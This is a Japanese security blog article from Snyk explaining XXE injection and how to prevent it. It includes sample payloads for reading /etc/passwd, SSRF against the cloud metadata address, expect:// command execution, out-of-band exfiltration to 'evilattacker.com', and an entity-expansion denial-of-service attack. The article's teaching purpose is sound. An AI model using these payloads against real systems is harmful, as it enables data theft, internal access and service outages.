Skip to main content

XMLエンティティの脆弱性を見つけて修正する方法

著者
Headshot of Michael Sherman

Michael Sherman

feature argument injection

2022年9月7日

0 分で読めます

XMLは、構造化データの転送や保存に使われる、人が読み取れるテキスト形式です。タグとデータ構造は、自己記述型ドキュメント内でユーザーが定義します。これらのドキュメントはあらゆるXMLツールで解析できるため、開発者はデータを表現するための柔軟性の高い仕組みを利用できます。

XMLの限られた基本構文を拡張するため、作成者はドキュメント型定義(DTD)を使って、ドキュメント内のデータ構造と許容される内容を定義できます。DTDを使うと、ドキュメントで有効なデータを定義し、ドキュメント全体で再利用できるようにデータを一か所に記述できます。一般エンティティはDTDで宣言し、ドキュメント本文では名前の前にアンパサンド(&)、後ろにセミコロン(;)を付けて参照します。

エンティティはドキュメント内で定義できます。

<!ENTITY name "Taylor Gray">
...
<name>&name;</name>

一方、ファイルパスやURLを参照することで、外部ソースにエンティティを宣言することもできます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
  <name>&name;</name>
</person>

person.dtdファイルの内容は次のとおりです。

<!ENTITY name "Taylor Gray">

XMLのシンプルな構文と、多くのパーサーに共通する仕様が相まって、攻撃者は「XML外部エンティティ(XXE)インジェクション」と呼ばれる攻撃を比較的簡単に実行できます。この記事ではXXEを詳しく見ていき、その防止策を探ります。

XXEがセキュリティリスクとなる理由

XXEインジェクション攻撃では、外部エンティティ宣言を悪用して、攻撃者が標的サーバーやネットワーク上のファイルやインフラにアクセスします。対象には、機密性の高い個人情報、ビジネスロジック、認証情報などが含まれます。

深刻なケースでは、攻撃者はサーバーサイドリクエストフォージェリを実行し、標的ネットワーク上のサーバーになりすますことができます。これにより、リモートでコードを実行できる場合もあります。攻撃者は権限を昇格させて標的のインフラ内を移動し、保護されていない他のコンポーネントを攻撃したり、標的からの攻撃に見せかけて下流の他のネットワークへ攻撃を拡大したりする可能性があります。

データの取得

最も一般的なXXEインジェクションの脆弱性では、攻撃者がサーバーに機密データやファイルをHTTPレスポンスで開示させます。単独では、攻撃者がデータに対して読み取り専用のアクセス権を得るにすぎませんが、より大きな被害につながる攻撃に発展させるための情報が漏れる可能性があります。

たとえば、攻撃者は標的サーバーにペイロードを送信して、ローカルのパスワードファイルを表示させることができます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE staffInfo
[
<!ENTITY xxe SYSTEM "file:///etc/pâsswd">
]>
<staffInfo>
<username>&xxe;</username>
<email>email</email>
</staffInfo>

堅牢なデータ暗号化プロトコルを実装すれば、データの取得を効果的に防止できます。攻撃者が標的サーバーへの侵入に成功しても、保存されたデータは読み取れず、利用できない状態になるためです。高度暗号化標準(AES)などの共通鍵アルゴリズムを使って、XMLベースの機密情報を保存・転送する際に、データの暗号化と復号に使う機密性の高いセキュリティキーを設定します。

また、XMLパーサーで外部エンティティがデフォルトでサポートされないようにすることも、この種の攻撃に対する有効な緩和策です。

サーバーサイドリクエストフォージェリ

XXEインジェクションに脆弱なサーバーは、攻撃者がそのサーバーになりすまし、通常はネットワーク外から見えない内部リソースにリクエストを送る足がかりとなります。

サーバーサイドリクエストフォージェリ(SSRF)攻撃では、攻撃者は通常、脆弱なサーバーのローカルファイルシステムや、アクセスが制限されたその他のリソースを指すURLやアドレスを注入します。特に、XMLパーサーでユーザー入力が適切にフィルタリングされていない場合に有効です。攻撃者は認証情報を取得し、標的ネットワーク内で管理者権限を得ることができます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userInfo
[
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data">
]>
<userInfo>
<username>&xxe;</username>
<email>email</email>
</userInfo>

攻撃者が管理者権限の取得に成功すると、サーバーになりすまして標的ネットワークを調査し、さらなる脆弱性を探せるようになります。リモートでコードを実行し、攻撃をさらに拡大できる可能性もあります。

次のような対策により、この種の攻撃に対するアプリケーションの耐性を大幅に高めることができます。

  1. 内部リソースや機密性の高いアドレス宛ての、許可されていないユーザーからのリクエストをすべてブロックします。

  2. Webインフラに脅威をもたらす可能性のある悪意あるアドレスやURLを網羅したブロックリストの導入を検討しましょう。

  3. Snyk Codeなど、コードの脆弱性やセキュリティ上の欠陥を検査できる高度な静的解析ツールを導入しましょう。

リモートコード実行

攻撃者はXXEインジェクションを利用して、標的サーバー上でリモートコード実行(RCE)を行うことができます。

たとえば、Expectプラグインが有効になっているPHPベースのWebサイトやアプリケーションでは、expectラッパーを含むエンティティを宣言することで、コマンドをリモート実行できます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userInfo
[
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<userInfo>
<username>&xxe;</username>
<email>email</email>
</userInfo>

この例では、XMLパーサーがxxeエンティティを評価すると、ifconfigコマンドがサーバーのネットワーク設定を返します。

WebサイトやWebアプリで、Expect PHP拡張機能などのプロトコルラッパーを選択的に無効化することで、RCEを防止できます。

ただし、サーバーから直接レスポンスを受け取る手段がない場合でも、攻撃者はブラインドXXEの手法を利用できます。

ブラインドXXE攻撃

XMLパーサーによっては、XMLドキュメント本文でのエンティティ宣言が禁止されている場合があります。攻撃者はパラメーターエンティティを使うことで、この制限を回避できます。パラメーターエンティティは、DTD内または別のエンティティの値としてのみ宣言できます。名前の前にパーセント記号と空白文字(%)を付けて宣言し、参照する際は名前の前にパーセント記号(%)、後ろにセミコロン(;)を付けます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo
[
<!ENTITY % xxe SYSTEM "http://evil-attacker.com"> %xxe; 
]>

このコードでは、標的サーバーが攻撃者のサーバーURLにHTTPリクエストを送信しようとします。その結果、攻撃者はこのブラインドXXE攻撃を使って標的サーバーのDNSルックアップを実行できます。

エラーを利用した情報漏えい

攻撃者がサーバーから出力されるエラーメッセージを調べて価値のあるデータを取得できる場合、サーバーはブラインドXXEインジェクションに対して脆弱です。

たとえば、このペイロードはサーバーに/etc/pâsswdファイルをエラーメッセージ内で開示させます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo
[
<!ENTITY % badfile SYSTEM "file:///etc/pâsswd">
<!ENTITY % wrapper "<!ENTITY &#x25; induce SYSTEM 'file:///nosuchfileexists/%badfile'>">
%wrapper
%induce
]>

このペイロードは3つのパラメーターエンティティを定義します。badfileは/etc/pâsswdファイルの内容を格納し、wrapperはinduceという名前の新しいパラメーターエンティティを動的に宣言します。induceエンティティは、エラーメッセージを引き起こすパスへのルックアップを実行します。

wrapperエンティティを宣言するために、攻撃者はinduceエンティティを動的に宣言します。このエンティティには、badfileパラメーターの値を含む、有効ではあるものの存在しないパスが設定されています。その後、wrapperエンティティが参照されると、induceエンティティの動的宣言が実行されます。

最後に、パーサーがinduceエンティティを処理すると、badfileの値と同じ名前のファイルがnosuchfileexistsパスに存在しないことを知らせるエラーメッセージが返されます。badfileにはetc/pâsswdの内容が含まれているため、攻撃者に情報が表示されます。

堅牢なエラー処理プロトコルを導入すれば、エラーを利用した情報漏えいに対するアプリケーションの脆弱性を軽減できます。たとえば、サーバーがクライアントに送信するエラーメッセージの長さと範囲を制限します。独自のメッセージ本文とHTTPステータスコードを使えば、攻撃者に偵察情報を簡単に与えてしまう、冗長な自動生成エラーメッセージを避けられます。

サンプルサーバーのFileNotFound例外など、想定される状況に対するエラーメッセージを明確に定義する必要があります。また、通常はコードのテストが必要となるエッジケースについても、適切なエラーメッセージを指定しましょう。

帯域外へのデータ流出

帯域外攻撃では、攻撃に使用した経路とは別の経路でデータを流出させます。通常、この種の攻撃では、攻撃者が悪意ある外部DTDをホストしているアドレスに、標的サーバーからリクエストを送信させます。

まず、攻撃者は次のような悪意あるDTDを含む、侵害されたペイロードを送信します。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://evilattacker.com/corrupted.dtd"> 
%xxe;
]>

攻撃者のサーバーにあるcorrupted.dtdファイルの内容は次のとおりです。

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % badfile SYSTEM "file:///etc/pâsswd">
<!ENTITY % deval "<!ENTITY &#x25; revealinfo SYSTEM 'http://evilattacker.com/?x=%badfile;'>">
% deval;
% revealinfo ;

revealinfoエンティティが実行されると、badfileの値を埋め込んだリクエスト文字列とともに、攻撃者のサーバーへHTTPリクエストが送信されます。

devalエンティティが参照されると、revealinfoエンティティの動的宣言が実行されます。

その他の攻撃経路

XXE攻撃でよく使われるその他の攻撃経路には、次のようなものがあります。

  • .configファイルなどのファイルアップロード

  • テキスト入力フィールド。特に、入力検証ルールが限定的なHTMLのtextフィールドやtextareaフィールド

  • RSSフィードやAPIなどのXMLベースの技術

  • SVG画像など、一般的な形式のXMLベースファイル

たとえば、攻撃者は悪意あるドキュメントへのリンクを含むSVGをアップロードし、XML爆弾攻撃を実行できます。

<svg width="128px" height="128px" xmlns="http://www.evilattacker.com/svg" xmlns:xlink="http://www.evilattacker.com/xlink" version="1.1">
 <text font-size="16" x="0" y="16">&a4;</text>
</svg>

ペイロードは次のようなものです。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
 <!ELEMENT bin (#PCDATA)>
 <!ENTITY a0 "garbage">
 <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
 <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
 <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
 <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<bin>&a4;</bin>

パーサーはDTD内に複数のエンティティ宣言を検出しますが、すぐには評価しません。その後、ドキュメントを読み進めてbin要素に到達すると、a4エンティティを展開してその要素を読み込みます。しかし、そのためには、まず10個含まれているa3エンティティを展開し、さらにその中のa2エンティティも、a0に至るまで展開する必要があります。

bin要素の最終的な展開後のサイズは、a4エンティティ内にあるすべての要素を再帰的に展開した結果です。10段階以上の入れ子になったエンティティを含むペイロードでは、結果のファイルサイズが数百ギガバイトに達することがあります。通常、SVGファイルの解析を試みたサーバーでメモリ不足エラーが発生し、ユーザーに対するサービス拒否につながります。

リクエスト処理のメモリ使用量などのリソース上限を自動的に設定するだけで、多くのDoS攻撃を防止できます。これらの攻撃は一般に、サーバーの処理能力を超過させようとするためです。

幅広く適用できるセキュリティ対策

外部エンティティのサポートを無効にする

外部エンティティとユーザー定義DTDを禁止するだけで、多くの種類のXXEインジェクション攻撃を緩和できます。ほとんどのツールでは、これを実現するための簡単なコマンドが用意されています。

Webアプリケーションファイアウォール(WAF)を利用する

Webアプリケーションファイアウォール(WAF)は、XXE攻撃全般への対策に有効です。HTTPトラフィックを検査して悪意あるコンテンツの可能性を検出し、フィルタリングルールを適用してWebアプリケーションを保護します。

ゼロトラストセキュリティを導入する

Webアプリケーションと、メッセージブローカーやユーザー認証プラットフォームなどの外部サービスやサードパーティーサービスとの信頼関係は、サーバーインフラを狙うSSRF攻撃に悪用される可能性があります。また、ネットワーク内のサービスには、正常な動作に必要なリソースのみへのアクセスを許可しましょう。

ログと機密データを適切に分離し、人間とプログラムの両方を含むすべてのユーザーのアクセス権限を定期的に監査する仕組みを整えましょう。これにより、長期的なセキュリティ保守も容易になります。

XXEの脆弱性スキャンとテストを常に自動で実行する

XXEの自動脆弱性スキャンを実行すると、攻撃者に悪用される前にインフラの脆弱性を特定し、対処できます。包括的で高精度な検出システムでは、システムをさらに安全にするための推奨事項も提示されます。

セキュリティパッチを最新の状態に保つ

信頼できるセキュリティプロバイダーが提供する最新のパッチを、システムに適用することが重要です。これには、セキュリティドライバーの更新やDoS攻撃対策のパッチが含まれます。オープンソースの脆弱性に関する最新情報を確認するには、包括的で正確かつタイムリーなSnyk Vulnerability Databaseを活用するSnyk Open Sourceをおすすめします。

Snykの保護機能でリスクを軽減

サードパーティ製ライブラリに脆弱性があると、悪用されてアプリケーションが攻撃者にさらされることがあります。アプリケーションの防御をさらに強化するため、Snyk OSSを使って、アプリケーションに組み込まれているすべてのサードパーティ製ライブラリをスキャンすることをおすすめします。

また、Snyk Codeの機能を活用して、潜在的なセキュリティ脆弱性を特定し、悪用される前に検出することもできます。

XMLセキュリティについてのまとめ

XMLはデータ転送に使える汎用性と強力さを備えたツールです。外部のリンク先リソースを動的に利用できるため、その利便性はさらに高まります。しかし、こうした特性から、悪意ある攻撃者にとっても魅力的なツールとなっています。関連するリスクを適切に防止・軽減するには、XMLがもたらす潜在的な脆弱性を理解することが重要です。

サニタイズが不十分なユーザー入力、詳細すぎるエラー処理、適切に設定されていないアクセス権限があると、攻撃者は外部エンティティ参照(XXE)インジェクション攻撃を利用してシステムを侵害する可能性があります。こうした脆弱性を効果的に修正するには、ユーザー入力やアップロードを検証・フィルタリングします。また多くの場合、外部DTD処理やPHPプロトコルラッパーなどの機能を無効にするだけで対処できます。

エラーメッセージは、ユーザーに伝える情報を最小限にとどめるのが適切です。たとえば、ログインに失敗した場合、パスワードとユーザー名のどちらが間違っていたのかを伝える必要はありません。

WAFやDoS対策を導入したり、これらの機能を提供するサービスプロバイダーを利用したりすることもできます。また、攻撃者にセキュリティを突破されたとしても、暗号化されたデータとゼロトラストのサービスネットワークにしかアクセスできない状態にしておくべきです。

Capture the Flagを始めよう

オンデマンドのバーチャル入門ワークショップを見て、Capture the Flagの課題の解き方を学びましょう。

続きを読む

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに対応するセキュリティ

AI駆動型開発のスピードに、従来のセキュリティワークフローは追いついていません。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。

blog feature ai violet
Blog

VulnBump:AIエージェントはビルドを壊さずに脆弱な依存関係を修正できるか?

VulnBumpは、実際の依存関係アップグレード307件を対象にAIエージェントをテストします。脆弱性が解消され、ビルドとテストが成功した場合にのみ、修正としてカウントされます。

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。